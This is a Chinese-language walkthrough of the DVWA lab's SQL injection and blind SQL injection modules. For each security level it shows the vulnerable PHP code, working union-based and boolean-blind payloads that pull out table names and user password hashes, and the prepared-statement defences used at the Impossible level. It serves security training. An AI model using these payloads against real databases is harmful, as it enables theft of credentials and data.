SQL Injection
0x01 Low级别
源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,很容易就能探测出SQL注入漏洞,然后进一步利用来获取数据库信息or其他操作权限。
测试过程
-
判断注入点:给出一个id值1并加 ' 进行测试,语句报错。
SELECT first_name, last_name FROM users WHERE user_id = '1'';
-
恒真查询:输入1' or 1=1#,语句正常,报出相关信息。
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
- 判断字段长度:输入
1' order by 2#
,返回2个字段值。
- 获取字段显示位:输入
1' union select 1,2#
- 获取数据库信息:输入
1' union select database(),version()#
其他信息:user():数据库用户、@@version_compile_os:操作系统、@@datadir:
数据库存储目录、version():版本信息、database():数据库名。
- 获取dvwa数据库中的表名:输入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
- 获取users表中的列名:输入
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
- 导出users表中的数据:输入
1' union select 1,concat_ws('--',user,password) from users #
0x02 Medium级别
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);
$query = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query) or die( '<pre>' . mysqli_error($GLOBALS["___mysqli_ston"]) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Display values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
// This is used later on in the index.php page
// Setting it here so we can close the database connection in here like in the rest of the source scripts
$query = "SELECT COUNT(*) FROM users;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
$number_of_rows = mysqli_fetch_row( $result )[0];
mysqli_close($GLOBALS["___mysqli_ston"]);
?>
Medium级别的代码加入mysqli_real_escape_string()函数对特殊符号进行转义,同时前端使用下拉选择表单来控制用户输入。
测试过程
抓包修改参数id为1 or 1=1#,查询成功
- 获取users表中的列名
(因为单引号被转义,'users'需用十六进制绕过)1 union select 1,group_concat(column_name) from information_schema.columns where table_name=0x7573657273#
- 导出表中数据
1 or 1=1 union select group_concat(user_id,first_name,last_name),group_concat(password) from users #
0x03 High级别
源码分析
<?php
if( isset( $_SESSION [ 'id' ] ) ) {
// Get input
$id = $_SESSION[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>Something went wrong.</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High级别代码在sql查询中加入LIMIT 1来限制输出一条内容
查询提交页面与查询结果显示页面不是同一个,也没有执行302跳转,目的是为了防止一般的sqlmap注入
测试过程
'#'可以将sql语句后的LIMIT 1注释掉,从而无法限制查询
PAYLOAD:1' union select 1,concat_ws('--',user,password) from users #
测试过程参考low级
0x04 Impossible级别
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
$row = $data->fetch();
// Make sure only 1 result is returned
if( $data->rowCount() == 1 ) {
// Get values
$first = $row[ 'first_name' ];
$last = $row[ 'last_name' ];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
- Impossible级别的代码采用了PDO技术,划清了代码与数据的界限,有效防御SQL.
- is_numeric()函数检查参数id是否为数字
- 只有返回的查询结果数量为一时,才会成功输出,这样就有效预防了“脱裤”
- 加入Anti-CSRFtoken,进一步提高安全性
SQL Injection(Blind)
0x00 SQL盲注思路
- 基于布尔的盲注:可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码...),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<-->False发生变化的转折点。
- 基于时间的盲注:通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
- 基于报错的盲注:报错型注入是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果。主要内容:在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而该错误将会披露一些关键信息。
0x01 Low级别
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,但在查库时@了查询函数,屏蔽了查询函数执行后的出错信息。
测试过程
-
判断注入点:恒真、恒假查询,得出存在注入点。
构造语句 返回信息 1' and 1=1# User ID exists in the database. 1' and 1=2# User ID is MISSING from the database. -
判断数据库名称长度:二分法、length()函数
1' and length(database())>10# //返回missing 1' and length(database())>5# //返回missing 1' and length(database())>3# //返回exists 1' and length(database())=4# //返回exists
-
猜解数据库字符串:ASCII码、substr()函数
1' and ascii(substr(database(),1,1))=100# //d 1' and ascii(substr(database(),2,1))=118# //v 1' and ascii(substr(database(),3,1))=119# //w 1' and ascii(substr(database(),4,1))=97# //a
-
判断数据库中表个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# //存在两张数据表
-
判断表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# //第一张表字符长度为9 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5# //第二张表字符长度为5
-
判断第二张表名字符串
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117# //u 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115# //s 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=101# //e 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=114# //r 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),2,1))=115# //s
-
猜解表中字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8# //users表中有8个字段
-
猜解表中字段名称
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1# //存在字段user 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1# //存在字段password
-
获取表中的字段值
1' and length(substr((select user from users limit 0,1),1))=5# //user字段中第一个字段值的字符长度为5 1' and length(substr((select password from users limit 0,1),1))=32# //password字段中第一个字段值的字符长度为32(md5加密)
依次猜解出部分值:
user password md5($password) admin password 5f4dcc3b5aa765d61d8327deb882cf99 admin123 123456 e10adc3949ba59abbe56e057f20f883e root root 63a9f0ea7bb98050796b649e85481845
0x02 Medium级别
源码分析
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$id = $_POST[ 'id' ];
$id = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = $id;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
//mysql_close();
}
?>
Medium级别的代码加入mysqli_real_escape_string()函数对特殊符号进行转义,同时前端使用下拉选择表单来控制用户输入。
测试过程
- 抓包修改参数id为
,显示存在,说明数据库名的长度为4个字符1 and length(database())=4 #
- 抓包修改参数id为
显示存在,说明uers表有8个字段1 and (select count(column_name) from information_schema.columns where table_name= 0×7573657273)=8 #
- 其他猜解过程同low级
0x03 High级别
源码分析
<?php
if( isset( $_COOKIE[ 'id' ] ) ) {
// Get input
$id = $_COOKIE[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// Might sleep a random amount
if( rand( 0, 5 ) == 3 ) {
sleep( rand( 2, 4 ) );
}
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
High级别的代码利用cookie传递参数id,当SQL查询结果为空时,会执行函数sleep(seconds),目的是为了扰乱基于时间的盲注。同时在 SQL查询语句中添加了LIMIT 1,希望以此控制只输出一个结果。
测试过程
说明users表中有8个字段1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8#
其他猜解过程同low级别
0x04 Impossible级别
源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$id = $_GET[ 'id' ];
// Was a number entered?
if(is_numeric( $id )) {
// Check the database
$data = $db->prepare( 'SELECT first_name, last_name FROM users WHERE user_id = (:id) LIMIT 1;' );
$data->bindParam( ':id', $id, PDO::PARAM_INT );
$data->execute();
// Get results
if( $data->rowCount() == 1 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
- 加入Anti-CSRFtoken机制,提高安全性
- is_numeric()函数检查参数id是否为数字
- 采用了PDO技术,划清了代码与数据的界限,有效防御SQL注入